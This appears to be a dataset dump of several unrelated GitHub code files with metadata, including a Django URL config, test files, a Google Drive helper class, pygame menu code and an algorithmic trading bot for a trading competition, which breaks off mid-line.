{"api_name": "schema_sugar.method2op", "line_number": 25, "usage_type": "call"}, {"api_name": "schema_sugar.method2op", "line_number": 32, "usage_type": "call"}, {"api_name": "unittest2.TestCase", "line_number": 39, "usage_type": "attribute"}, {"api_name": "schema_sugar.resources_method2op", "line_number": 50, "usage_type": "call"}, {"api_name": "unittest2.TestCase", "line_number": 53, "usage_type": "attribute"}, {"api_name": "schema_sugar.is_abs_method", "line_number": 57, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 63, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 74, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 82, "usage_type": "name"}, {"api_name": "unittest2.TestCase", "line_number": 93, "usage_type": "attribute"}, {"api_name": "schema_sugar.JsonForm", "line_number": 97, "usage_type": "name"}, {"api_name": "unittest2.TestCase", "line_number": 193, "usage_type": "attribute"}, {"api_name": "schema_sugar.cli_arg_generator", "line_number": 203, "usage_type": "call"}]} {"seq_id": "38335200051", "text": "#from django.conf.urls import url\r\nfrom . import views\r\nfrom django.urls import path, include\r\n\r\nurlpatterns = [\r\n\r\n path('^datain/$', views.datain, name='datain'),\r\n path('^dataout/$', views.dataout, name='dataout'),\r\n path('^checkqr/$', views.checkqr, name='checkqr'),\r\n path('^query/$', views.query, name='query'),\r\n path('^test/', views.test),\r\n path('^login/',views.verify_user),\r\n path('^builddir/$', views.builddir, name='builddir'),\r\n # url('^basic/$', views.basci, name='basic'),\r\n\r\n]\r\n\r\n\r\n", "repo_name": "lingchenruo/saoma", "sub_path": "app1/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 523, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}]} {"seq_id": "37047696106", "text": "import os\nfrom setuptools import setup\n\nwith open('README.rst') as readmeFile:\n long_description = readmeFile.read()\n\nrequires = [ line.rstrip('\\n') for line in open('requirements.txt') ]\n\nsetup(\n name='htk_io',\n version='0.6.dev1',\n description='Read and write HTK and HTS files from python.',\n url='http://github.com/MattShannon/htk_io',\n author='Matt Shannon',\n author_email='matt.shannon@cantab.net',\n license='3-clause BSD (see License file)',\n packages=['htk_io'],\n install_requires=requires,\n scripts=[\n 'bin/htk_io_get_label_map_leaf_macro_id_to_leaf_index.py',\n 'bin/htk_io_map_alignment_files_label_sublabel_to_leaf_macro_id.py',\n 'bin/htk_io_map_alignment_files_label_sublabel_to_ques_answers.py',\n 'bin/htk_io_map_alignment_files.py',\n ],\n long_description=long_description,\n)\n", "repo_name": "MattShannon/htk_io", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 856, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 20, "dataset": "github-code", "pt": "78", "api": [{"api_name": "setuptools.setup", "line_number": 9, "usage_type": "call"}]} {"seq_id": "74614188412", "text": "import os\n\nimport pytest\n\nfrom markdown_to_html_converter.semantics.markdown_converter import MarkdownToHtml\n\n\ndef gen_tests():\n out_files = []\n test_files_root_dir = \"./tests/test_files\"\n inp_files = []\n for root, dirnames, filenames in os.walk(test_files_root_dir):\n if root != test_files_root_dir:\n inp_files.append(os.path.join(root, \"inp.md\"))\n out_files.append(os.path.join(root, \"out.html\"))\n return (inp_files, out_files)\n\n\ninp_files, out_files = gen_tests()\n\n\n@pytest.fixture(params=inp_files, scope=\"session\")\ndef inp_file(request):\n return request.param\n\n\n@pytest.fixture(params=out_files, scope=\"session\")\ndef out_file(request):\n return request.param\n\n\n@pytest.mark.parametrize(\"inp_file, out_file\",\n zip(*gen_tests()),\n indirect=True\n )\ndef test_overall_visitor(inp_file, out_file):\n m = MarkdownToHtml(inp_file)\n codegen = m.parse()\n out_text = \"\"\n with open(out_file) as f:\n out_text = f.read()\n\n # remove extraneous lines\n exp_arr = out_text.strip('\\n').strip('').split(\"\\n\")\n exp_arr = list(filter(lambda x: x != \"\", exp_arr))\n actual_arr = codegen.generate_code().strip('\\n').split(\"\\n\")\n actual_arr = list(filter(lambda x: x != \"\", actual_arr))\n # assert\n assert exp_arr == actual_arr\n", "repo_name": "deepanshululla/markdown_to_html_converter", "sub_path": "tests/test_integration.py", "file_name": "test_integration.py", "file_ext": "py", "file_size_in_byte": 1366, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.walk", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 22, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 27, "usage_type": "call"}, {"api_name": "markdown_to_html_converter.semantics.markdown_converter.MarkdownToHtml", "line_number": 37, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 32, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 32, "usage_type": "attribute"}]} {"seq_id": "28848250685", "text": "from collections import deque\n\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution:\n def convertBST(self, root: TreeNode) -> TreeNode:\n stack = deque()\n cur = root\n cum_sum = 0\n while cur or stack:\n if cur:\n stack.append(cur)\n cur = cur.right\n else:\n cur = stack.pop()\n cur.val += cum_sum\n cum_sum = cur.val\n cur = cur.left\n return root\n\n\na = TreeNode(5)\na.left = TreeNode(2)\na.right = TreeNode(13)\nSolution().convertBST(a)\nbb = 0\n", "repo_name": "forest-sky-sea/Leetcode-Problems", "sub_path": "python/0538_convert_bst_to_greater_tree.py", "file_name": "0538_convert_bst_to_greater_tree.py", "file_ext": "py", "file_size_in_byte": 699, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.deque", "line_number": 14, "usage_type": "call"}]} {"seq_id": "3785187193", "text": "import unittest\nimport io\n\n\nclass TestCases(unittest.TestCase):\n\n def test_decode_int(self):\n good_test_cases = [\n (b'i123244e', 123244),\n (b'i67e', 67),\n (b'i0e', 0),\n (b'i-1e', -1)\n ]\n for (input, output) in good_test_cases:\n self.assertEqual(decode_int(io.BytesIO(input)), output)\n\n bad_test_cases = [\n b'',\n b'i',\n b'1',\n b'i123a',\n b'i-0e',\n b'i04',\n ]\n for input in bad_test_cases:\n with self.assertRaises(DecodeError):\n decode_int(io.BytesIO(input))\n\n\nclass DecodeError(Exception):\n\n def __init__(self, error_message):\n self.error = error_message\n\n\ndef decode_int(reader):\n buff = []\n if reader.read(1) != b'i':\n raise DecodeError('expected an i')\n while True:\n byte = reader.read(1)\n if byte >= b'0' and byte <= b'9':\n buff.append(byte)\n elif byte != b'e':\n raise DecodeError('expected and e')\n else:\n break\n return int(b''.join(buff))\n\n\nif __name__ == '__main__':\n unittest.main()\n", "repo_name": "diek/d_bittorrent", "sub_path": "bittorrent/bencode_decode.py", "file_name": "bencode_decode.py", "file_ext": "py", "file_size_in_byte": 1175, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "unittest.TestCase", "line_number": 5, "usage_type": "attribute"}, {"api_name": "io.BytesIO", "line_number": 15, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 27, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 52, "usage_type": "call"}]} {"seq_id": "30855219270", "text": "import os\nimport io\nimport requests\n\nfrom google.oauth2 import service_account\nfrom googleapiclient.discovery import build\nfrom googleapiclient.http import MediaIoBaseDownload\nfrom googleapiclient.http import MediaIoBaseUpload\n\n\nclass GoogleDriveService:\n def __init__(self):\n self._scopes=['https://www.googleapis.com/auth/drive']\n\n _base_path = os.path.dirname(__file__)\n self._credential_path = os.path.join(_base_path, 'credential.json')\n self.build()\n \n def build(self):\n credentials = service_account.Credentials.from_service_account_file(\n self._credential_path, \n scopes=self._scopes\n )\n \n # Build the Google Drive service\n self._drive_service = build('drive', 'v3', credentials=credentials)\n \n def create_folder(self, folder_name, parent_folder_id=None):\n \"\"\"Create a folder in Google Drive and return its ID.\"\"\"\n folder_metadata = {\n 'name': folder_name,\n \"mimeType\": \"application/vnd.google-apps.folder\",\n 'parents': [parent_folder_id] if parent_folder_id else []\n }\n\n created_folder = self._drive_service.files().create(\n body=folder_metadata,\n fields='id'\n ).execute()\n\n print(f'Created Folder ID: {created_folder[\"id\"]}')\n return created_folder[\"id\"]\n\n def list_folder(self, parent_folder_id=None, delete=False):\n \"\"\"List folders and files in Google Drive.\"\"\"\n results = self._drive_service.files().list(\n q=f\"'{parent_folder_id}' in parents and trashed=false\" if parent_folder_id else None,\n pageSize=1000,\n fields=\"nextPageToken, files(id, name, mimeType)\"\n ).execute()\n items = results.get('files', [])\n\n if not items:\n print(\"No folders or files found in Google Drive.\")\n else:\n print(\"Folders and files in Google Drive:\")\n for item in items:\n print(f\"Name: {item['name']}, ID: {item['id']}, Type: {item['mimeType']}\")\n if delete:\n self.delete_files(item['id'])\n\n def delete_files(self, file_or_folder_id):\n \"\"\"Delete a file or folder in Google Drive by ID.\"\"\"\n try:\n self._drive_service.files().delete(fileId=file_or_folder_id).execute()\n print(f\"Successfully deleted file/folder with ID: {file_or_folder_id}\")\n except Exception as e:\n print(f\"Error deleting file/folder with ID: {file_or_folder_id}\")\n print(f\"Error details: {str(e)}\")\n\n def download_file(self, file_id, destination_path):\n \"\"\"Download a file from Google Drive by its ID.\"\"\"\n request = self._drive_service.files().get_media(fileId=file_id)\n fh = io.FileIO(destination_path, mode='wb')\n \n downloader = MediaIoBaseDownload(fh, request)\n \n done = False\n while not done:\n status, done = downloader.next_chunk()\n print(f\"Download {int(status.progress() * 100)}%.\")\n \n def upload_file(self, file_url: str, folder_id: str):\n response = requests.get(file_url)\n file_name = os.path.basename(response.url)\n \n if response.status_code == 200:\n # Create a file on Google Drive\n file_metadata = {'name': file_name,\n 'parents': [folder_id]}\n\n media_body = MediaIoBaseUpload(io.BytesIO(response.content), \n mimetype=response.headers.get('Content-Type'))\n file = self._drive_service.files().create(\n body=file_metadata, \n media_body=media_body\n ).execute()\n print('File ID: %s' % file['id'])\n return file['id']\n \n def get_folder_id_by_name(self, folder_name: str):\n # Search for the folder by its name\n results = self._drive_service.files().list(\n q=f\"name = '{folder_name}' and mimeType = 'application/vnd.google-apps.folder'\",\n fields=\"files(id)\"\n ).execute()\n\n folders = results.get('files', [])\n\n if folders:\n return folders[0]['id'] # Return the first folder's ID found with the specified name\n else:\n print(f\"Folder with name '{folder_name}' not found.\")\n return None", "repo_name": "KossBoii/doc-web-scraper", "sub_path": "src/g_suite/drive_service.py", "file_name": "drive_service.py", "file_ext": "py", "file_size_in_byte": 4391, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.dirname", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "google.oauth2.service_account.Credentials.from_service_account_file", "line_number": 20, "usage_type": "call"}, {"api_name": "google.oauth2.service_account.Credentials", "line_number": 20, "usage_type": "attribute"}, {"api_name": "google.oauth2.service_account", "line_number": 20, "usage_type": "name"}, {"api_name": "googleapiclient.discovery.build", "line_number": 26, "usage_type": "call"}, {"api_name": "io.FileIO", "line_number": 74, "usage_type": "call"}, {"api_name": "googleapiclient.http.MediaIoBaseDownload", "line_number": 76, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path", "line_number": 85, "usage_type": "attribute"}, {"api_name": "googleapiclient.http.MediaIoBaseUpload", "line_number": 92, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 92, "usage_type": "call"}]} {"seq_id": "16085650596", "text": "import pygame\nimport sys\nfrom animation import Animation\nfrom heroesList import *\nfrom itertools import cycle\n\nclass MenuState():\n \n def __init__(self, handler):\n self.handler = handler\n \n \n def init(self):\n self.handler.init()\n self.assets = self.handler.game.assets\n self.assets.initAssets()\n self.heroes = [Animation(self.handler.game.assets.heroknight[0], 0.07), \n Animation(self.handler.game.assets.evilwizard[0], 0.07), \n Animation(self.handler.game.assets.ronin[0], 0.07)]\n self.currentAnimation = self.heroes[0]\n self.choosenHero = self.heroes.index(self.currentAnimation)\n self.rect = self.currentAnimation.frames[0].get_rect()\n self.offset = (0,0)\n self.rect.x = 300 + self.assets.grid.get_rect().w / 2 - self.rect.w / 2\n self.rect.y = 0 + self.assets.grid.get_rect().h / 2 - self.rect.h / 2\n self.displayer = {\n \"launch\" : True,\n \"newgame\" : False,\n \"options\" : False\n }\n\n def page_draw(self, page_name):\n if page_name == \"launch\":\n self.elements_draw([[self.assets.background, (0, 0)], \n [self.assets.newGame, self.assets.newGame_rect],\n [self.assets.quit, self.assets.quit_rect],\n [self.assets.options, self.assets.options_rect]])\n elif page_name == \"newgame\":\n self.elements_draw([[self.assets.background, (0, 0)],\n [self.assets.grid, (300, 0)], \n [self.assets.start, self.assets.start_rect],\n [self.assets.back, self.assets.back_rect],\n [self.assets.right, self.assets.right_rect],\n [self.assets.left, self.assets.left_rect],\n [self.currentAnimation.getCurrentFrame(), (self.rect.x - self.offset[0], self.rect.y - self.offset[1])]])\n elif page_name == \"options\":\n self.elements_draw([[self.assets.background, (0, 0)], \n [self.assets.back, self.assets.back_rect]])\n \n def elements_draw(self, elements):\n for i in elements:\n self.handler.game.WIN.blit(i[0], i[1])\n\n\n def switch_displayer(self, our_key):\n for key in self.displayer.keys():\n self.displayer[key] = False\n self.displayer[our_key] = True\n\n def check_clicked_button(self, button_rect):\n if self.handler.inputManager.clicked:\n if button_rect.collidepoint(self.handler.inputManager.pos):\n return True\n return False\n\n def current_tick(self):\n if self.displayer[\"launch\"]:\n if self.check_clicked_button(self.assets.newGame_rect):\n self.switch_displayer(\"newgame\")\n\n elif self.check_clicked_button(self.assets.options_rect):\n self.switch_displayer(\"options\")\n\n elif self.check_clicked_button(self.assets.quit_rect):\n pygame.quit()\n print('game closed')\n sys.exit()\n\n elif self.displayer[\"newgame\"]:\n\n if self.check_clicked_button(self.assets.right_rect):\n self.choosenHero += 1\n if self.choosenHero >= len(self.heroes):\n self.choosenHero = 0\n \n if self.check_clicked_button(self.assets.left_rect):\n self.choosenHero -= 1\n if self.choosenHero < 0:\n self.choosenHero = len(self.heroes) - 1\n\n self.currentAnimation = self.heroes[self.choosenHero]\n\n if self.check_clicked_button(self.assets.start_rect):\n self.handler.game.gameState.player.hero = self.playerHero()\n self.handler.characterManager.characterGroup.add(self.handler.game.gameState.player.hero)\n self.handler.game.currentState = self.handler.game.gameState\n return\n \n if self.check_clicked_button(self.assets.back_rect):\n self.switch_displayer(\"launch\")\n\n elif self.displayer[\"options\"] == True:\n if self.check_clicked_button(self.assets.back_rect):\n self.switch_displayer(\"launch\")\n\n def playerHero(self):\n if self.choosenHero == 0:\n return HeroKnight(self.handler)\n # self.rect.x = 400\n # self.rect.y = 100\n\n elif self.choosenHero == 1:\n return EvilWizard(self.handler)\n # self.rect.x = 320\n # self.rect.y = 0.5\n\n elif self.choosenHero == 2:\n return Ronin(self.handler)\n # self.rect.x = 320\n # self.rect.y =50\n\n def hero_offset(self):\n if self.currentAnimation == self.heroes[0] :\n self.offset = (0,0)\n if self.currentAnimation == self.heroes[1] :\n self.offset = (80,100)\n if self.currentAnimation == self.heroes[2] :\n self.offset = (-15,-10)\n return self.offset\n\n def draw(self):\n currentdisplayer = \"\"\n for k, v in self.displayer.items():\n if v == True:\n currentdisplayer = k\n self.page_draw(currentdisplayer)\n\n def tick(self):\n self.current_tick()\n self.hero_offset()\n self.currentAnimation.tick()", "repo_name": "wissem-wizza/mypygame", "sub_path": "menuState.py", "file_name": "menuState.py", "file_ext": "py", "file_size_in_byte": 5452, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "animation.Animation", "line_number": 17, "usage_type": "call"}, {"api_name": "animation.Animation", "line_number": 18, "usage_type": "call"}, {"api_name": "animation.Animation", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.quit", "line_number": 75, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 77, "usage_type": "call"}]} {"seq_id": "5268439551", "text": "# The Python code below is the minimum code that is required in a submission file:\n# 1. The \"datamodel\" imports at the top. Using the typing library is optional.\n# 2. A class called \"Trader\", this class name should not be changed.\n# 3. A run function that takes a tradingstate as input and outputs a \"result\" dict.\nimport json\nfrom typing import Dict, List, Any\n\nimport numpy as np\n\nfrom datamodel import OrderDepth, TradingState, Order, Trade, Symbol, ProsperityEncoder\n\nPEARLS_PRICE = 10000\n\n\nclass Logger:\n def __init__(self) -> None:\n self.logs = \"\"\n\n def print(self, *objects: Any, sep: str = \" \", end: str = \"\\n\") -> None:\n self.logs += sep.join(map(str, objects)) + end\n\n def flush(self, state: TradingState, orders: Dict[Symbol, List[Order]]) -> None:\n logs = self.logs\n if logs.endswith(\"\\n\"):\n logs = logs[:-1]\n\n print(json.dumps({\n \"state\": state,\n \"orders\": orders,\n \"logs\": logs,\n }, cls=ProsperityEncoder, separators=(\",\", \":\"), sort_keys=True))\n\n self.state = None\n self.orders = {}\n self.logs = \"\"\n\n\nlogger = Logger()\n\n\nclass Trader:\n\n def __init__(self):\n # dictionary mapping product names to list consisting of last own_trades and market_trades of the product\n self.cached_prices = {}\n self.cached_means = {}\n\n # How many last days to consider when calculating the average prices\n self.last_days = 100\n self.banana_days = 2\n self.mean_days = {\"PINA_COLADAS\":50, \"COCONUTS\":50}\n self.derivative_resolution = {\"PINA_COLADAS\":100, \"COCONUTS\":100}\n\n # How many of the best bids/asks we should consider\n self.trade_count = 1\n\n self.old_asks = {\"BANANAS\": [], \"PEARLS\": [], \"PINA_COLADAS\": [], \"COCONUTS\": []}\n self.old_bids = {\"BANANAS\": [], \"PEARLS\": [], \"PINA_COLADAS\": [], \"COCONUTS\": []}\n self.spread = {\"BANANAS\": 2, \"PINA_COLADAS\": 1, \"COCONUTS\": 2}\n self.fill_diff = {\"BANANAS\": 3, \"PINA_COLADAS\": 0, \"COCONUTS\": 3}\n self.mean_diffs = {\"BANANAS\": [], \"PEARLS\": [], \"PINA_COLADAS\": [], \"COCONUTS\": []}\n\n self.max_pos = {\"BANANAS\": 20, \"PEARLS\": 20, \"PINA_COLADAS\": 300, \"COCONUTS\": 600}\n self.max_own_order = {\"BANANAS\": 20, \"PEARLS\": 20, \"PINA_COLADAS\": 10, \"COCONUTS\": 300}\n\n self.pina_means = []\n self.coco_stds = []\n\n self.std_window = 500\n self.mean_window = 50\n\n self.above = False\n self.below = False\n\n\n def run(self, state: TradingState) -> Dict[str, List[Order]]:\n \"\"\"\n Only method required. It takes all buy and sell orders for all symbols as an input,\n and outputs a list of orders to be sent\n \"\"\"\n logger.print(\n f\"timestamp: {state.timestamp}, listings: {state.listings}, order_depths: {state.order_depths}, own_trades: {state.own_trades}, market_trades: {state.market_trades}, position: {state.position}, observations: {state.observations}\")\n\n # Initialize the method output dict as an empty dict\n result = {}\n\n # Iterate over all the keys (the available products) contained in the order depths\n for product in state.order_depths.keys():\n\n orig_position = state.position[product] if product in state.position.keys() else 0\n prod_position = orig_position\n # Retrieve the Order Depth containing all the market BUY and SELL orders\n order_depth: OrderDepth = state.order_depths[product]\n\n # Initialize the list of Orders to be sent as an empty list\n orders: list[Order] = []\n\n new_buy_orders = 0\n new_sell_orders = 0\n\n if product == \"PEARLS\":\n self.cache_pearl_prices(state)\n # Define a fair value\n acceptable_price = PEARLS_PRICE\n logger.print(f\"acceptable price for {product}: {acceptable_price}\")\n # Check if there are any SELL orders\n\n if len(order_depth.sell_orders) > 0:\n\n # Sort all the available sell orders by their price\n best_asks = sorted(order_depth.sell_orders.keys())\n\n # Check if the lowest ask (sell order) is lower than the above defined fair value\n i = 0\n while i < self.trade_count and best_asks[i] < acceptable_price:\n # Fill ith ask order if it's below the acceptable\n if prod_position == self.max_pos[product] or new_buy_orders == 20:\n break\n best_ask_volume = order_depth.sell_orders[best_asks[i]]\n if prod_position - best_ask_volume <= self.max_pos[product]:\n # Buy\n logger.print(\"BUY\", str(-best_ask_volume) + \"x\", product, best_asks[i])\n orders.append(Order(product, best_asks[i], -best_ask_volume))\n prod_position += -best_ask_volume\n new_buy_orders += -best_ask_volume\n else:\n # Buy as much as we can without exceeding the self.max_pos[product]\n logger.print(f\"exceeding max pos for {product} in selling\")\n vol = self.max_pos[product] - prod_position\n logger.print(f\"buying {vol} of {product}\")\n orders.append(Order(product, best_asks[i], vol))\n logger.print(f\"exceeding max pos for {product} in buying\")\n prod_position += vol\n new_buy_orders += vol\n i += 1\n if len(order_depth.buy_orders) != 0:\n best_bids = sorted(order_depth.buy_orders.keys(), reverse=True)\n\n i = 0\n while i < self.trade_count and best_bids[i] > acceptable_price:\n if prod_position == -self.max_pos[product] or new_sell_orders == 20:\n break\n best_bid_volume = order_depth.buy_orders[best_bids[i]]\n if prod_position - best_bid_volume >= -self.max_pos[product]:\n logger.print(\"SELL\", str(best_bid_volume) + \"x\", product, best_bids[i])\n orders.append(Order(product, best_bids[i], -best_bid_volume))\n prod_position += -best_bid_volume\n new_sell_orders += best_bid_volume\n\n else:\n # Sell as much as we can without exceeding the self.max_pos[product]\n logger.print(f\"exceeding max pos for {product} in selling\")\n vol = prod_position + self.max_pos[product]\n logger.print(f\"selling {vol} of {product}\")\n orders.append(Order(product, best_bids[i], -vol))\n prod_position += -vol\n new_sell_orders += vol\n i += 1\n\n # Add some new orders on our own with very profitable prices hoping some stupid bots fill them\n orders.append(Order(product, acceptable_price - 4, max(0, min(20, self.max_pos[product] - prod_position,\n self.max_pos[product] - orig_position,\n self.max_pos[product] - orig_position - new_buy_orders))))\n orders.append(Order(product, acceptable_price + 4, -max(0, min(20, self.max_pos[product] + prod_position,\n self.max_pos[product] + orig_position,\n self.max_pos[product] + orig_position - new_sell_orders))))\n # print(\"new sell orders: \", new_sell_orders)\n # print(\"new buy orders: \", new_buy_orders)\n # print(\"prod position: \", prod_position)\n # sell_capacity = min(ORDER_LIMIT - new_sell_orders - new_buy_orders, self.max_pos[product] + prod_position)\n # print(\"sell capacity: \", sell_capacity)\n # if sell_capacity > 0:\n # orders.append(Order(product, acceptable_price + 5, -sell_capacity))\n #\n # buy_capacity = min(ORDER_LIMIT - new_buy_orders - new_sell_orders, self.max_pos[product] - prod_position)\n # print(\"buy capacity: \", buy_capacity)\n # if buy_capacity > 0:\n # orders.append(Order(product, acceptable_price - 5, buy_capacity))\n\n elif product == \"BANANAS\":\n self.cache_prices(state)\n if len(self.old_asks[product]) < self.banana_days or len(self.old_bids[product]) < self.banana_days:\n continue\n avg_bid, avg_ask = self.calculate_prices(product, self.banana_days)\n\n if len(order_depth.sell_orders) != 0:\n best_asks = sorted(order_depth.sell_orders.keys())\n\n i = 0\n while i < self.trade_count and len(best_asks) > i and best_asks[i] - self.fill_diff[product] < avg_bid:\n if prod_position == self.max_pos[product]:\n break\n best_ask_volume = order_depth.sell_orders[best_asks[i]]\n if prod_position - best_ask_volume <= self.max_pos[product]:\n logger.print(\"BUY\", str(-best_ask_volume) + \"x\", product, best_asks[i])\n orders.append(Order(product, best_asks[i], -best_ask_volume))\n prod_position += -best_ask_volume\n new_buy_orders += -best_ask_volume\n else:\n # Buy as much as we can without exceeding the self.max_pos[product]\n logger.print(f\"exceeding max pos for {product} in selling\")\n vol = self.max_pos[product] - prod_position\n logger.print(f\"buying {vol} of {product}\")\n orders.append(Order(product, best_asks[i], vol))\n logger.print(f\"exceeding max pos for {product} in buying\")\n prod_position += vol\n new_buy_orders += vol\n i += 1\n\n if len(order_depth.buy_orders) != 0:\n best_bids = sorted(order_depth.buy_orders.keys(), reverse=True)\n\n i = 0\n while i < self.trade_count and len(best_bids) > i and best_bids[i] + self.fill_diff[product] > avg_ask:\n if prod_position == -self.max_pos[product]:\n break\n best_bid_volume = order_depth.buy_orders[best_bids[i]]\n if prod_position - best_bid_volume >= -self.max_pos[product]:\n logger.print(\"SELL\", str(best_bid_volume) + \"x\", product, best_bids[i])\n orders.append(Order(product, best_bids[i], -best_bid_volume))\n prod_position += -best_bid_volume\n new_sell_orders += best_bid_volume\n\n else:\n # Sell as much as we can without exceeding the self.max_pos[product]\n logger.print(f\"exceeding max pos for {product} in selling\")\n vol = prod_position + self.max_pos[product]\n logger.print(f\"selling {vol} of {product}\")\n orders.append(Order(product, best_bids[i], -vol))\n prod_position += -vol\n new_sell_orders += vol\n\n i += 1\n #\n # Add some new orders on our own with very profitable prices hoping some stupid bots fill them\n mid_price = (avg_bid + avg_ask) / 2\n orders.append(Order(product, mid_price - self.spread[product], max(0, min(self.max_own_order[product], self.max_pos[product] - prod_position,\n self.max_pos[product] - orig_position,\n self.max_pos[product] - orig_position - new_buy_orders))))\n orders.append(Order(product, mid_price + self.spread[product], -max(0, min(self.max_own_order[product], self.max_pos[product] + prod_position,\n self.max_pos[product] + orig_position,\n self.max_pos[product] + orig_position - new_sell_orders))))\n\n if product == \"PINA_COLADAS\" or product == \"COCONUTS\":\n self.cache_pearl_prices(state)\n self.calculate_means(product)\n\n if product == \"COCONUTS\":\n if len(self.cached_means[product]) < self.derivative_resolution[product] + 2:\n old_mean = self.cached_means[product][0]\n else:\n old_mean = np.mean(self.cached_means[product][-self.derivative_resolution[product]:-1])\n diff = self.cached_means[product][-1] - old_mean\n else:\n if len(self.cached_means[product]) < self.derivative_resolution[product] + 1:\n old_mean = self.cached_means[product][0]\n else:\n old_mean = self.cached_means[product][-self.derivative_resolution[product]]\n diff = self.cached_means[product][-1] - old_mean\n\n self.mean_diffs[product].append(diff)\n if len(self.mean_diffs[product]) > 1:\n old_diff = self.mean_diffs[product][-2]\n if old_diff < 0 and diff > 0 and len(order_depth.sell_orders) != 0:\n best_asks = sorted(order_depth.sell_orders.keys())\n\n i = 0\n while i < self.trade_count and len(best_asks) > i:\n if prod_position == self.max_pos[product]:\n break\n best_ask_volume = order_depth.sell_orders[best_asks[i]]\n if prod_position - best_ask_volume <= self.max_pos[product]:\n logger.print(\"BUY\", str(-best_ask_volume) + \"x\", product, best_asks[i])\n orders.append(Order(product, best_asks[i], -best_ask_volume))\n prod_position += -best_ask_volume\n new_buy_orders += -best_ask_volume\n else:\n # Buy as much as we can without exceeding the self.max_pos[product]\n logger.print(f\"exceeding max pos for {product} in selling\")\n vol = self.max_pos[product] - prod_position\n logger.print(f\"buying {vol} of {product}\")\n orders.append(Order(product, best_asks[i], vol))\n logger.print(f\"exceeding max pos for {product} in buying\")\n prod_position += vol\n new_buy_orders += vol\n i += 1\n\n\n if old_diff > 0 and diff < 0 and len(order_depth.buy_orders) != 0:\n best_bids = sorted(order_depth.buy_orders.keys(), reverse=True)\n\n i = 0\n while i < self.trade_count and len(best_bids) > i:\n if prod_position == -self.max_pos[product]:\n break\n best_bid_volume = order_depth.buy_orders[best_bids[i]]\n if prod_position - best_bid_volume >= -self.max_pos[product]:\n logger.print(\"SELL\", str(best_bid_volume) + \"x\", product, best_bids[i])\n orders.append(Order(product, best_bids[i], -best_bid_volume))\n prod_position += -best_bid_volume\n new_sell_orders += best_bid_volume\n\n else:\n # Sell as much as we can without exceeding the self.max_pos[product]\n logger.print(f\"exceeding max pos for {product} in selling\")\n vol = prod_position + self.max_pos[product]\n logger.print(f\"selling {vol} of {product}\")\n orders.append(Order(product, best_bids[i], -vol))\n prod_position += -vol\n new_sell_orders += vol\n\n i += 1\n\n\n \n\n if product == \"COCONUTS\":\n\n if len(self.old_asks[product]) < self.std_window or len(self.old_bids[product]) < self.std_window:\n self.coco_stds.append(0)\n else:\n std_bid, std_ask = self.calculate_stds(product, self.std_window)\n mid_std = (std_bid + std_ask) / 2\n self.coco_stds.append(mid_std)\n\n if product == \"PINA_COLADAS\":\n\n self.cache_prices(state)\n if len(self.old_asks[product]) < self.banana_days or len(self.old_bids[product]) < self.banana_days:\n self.pina_means.append(0)\n continue\n\n avg_bid, avg_ask = self.calculate_prices(product, self.mean_window)\n mid_avg = (avg_bid + avg_ask) / 2\n self.pina_means.append(mid_avg)\n\n lower_bound = self.pina_means[-1] - 2 * self.coco_stds[-1]\n upper_bound = self.pina_means[-1] + 2 * self.coco_stds[-1]\n\n best_ask = None\n best_bid = None\n\n if len(order_depth.sell_orders) != 0:\n best_asks = sorted(order_depth.sell_orders.keys())\n best_ask = best_asks[-1]\n\n i = 0\n while i < self.trade_count and len(best_asks) > i and \\\n not self.below and not self.above and best_asks[i] < lower_bound:\n self.below = True\n if prod_position == self.max_pos[product]:\n break\n best_ask_volume = order_depth.sell_orders[best_asks[i]]\n if prod_position - best_ask_volume <= self.max_pos[product]:\n logger.print(\"BUY\", str(-best_ask_volume) + \"x\", product, best_asks[i])\n orders.append(Order(product, best_asks[i], -best_ask_volume))\n prod_position += -best_ask_volume\n new_buy_orders += 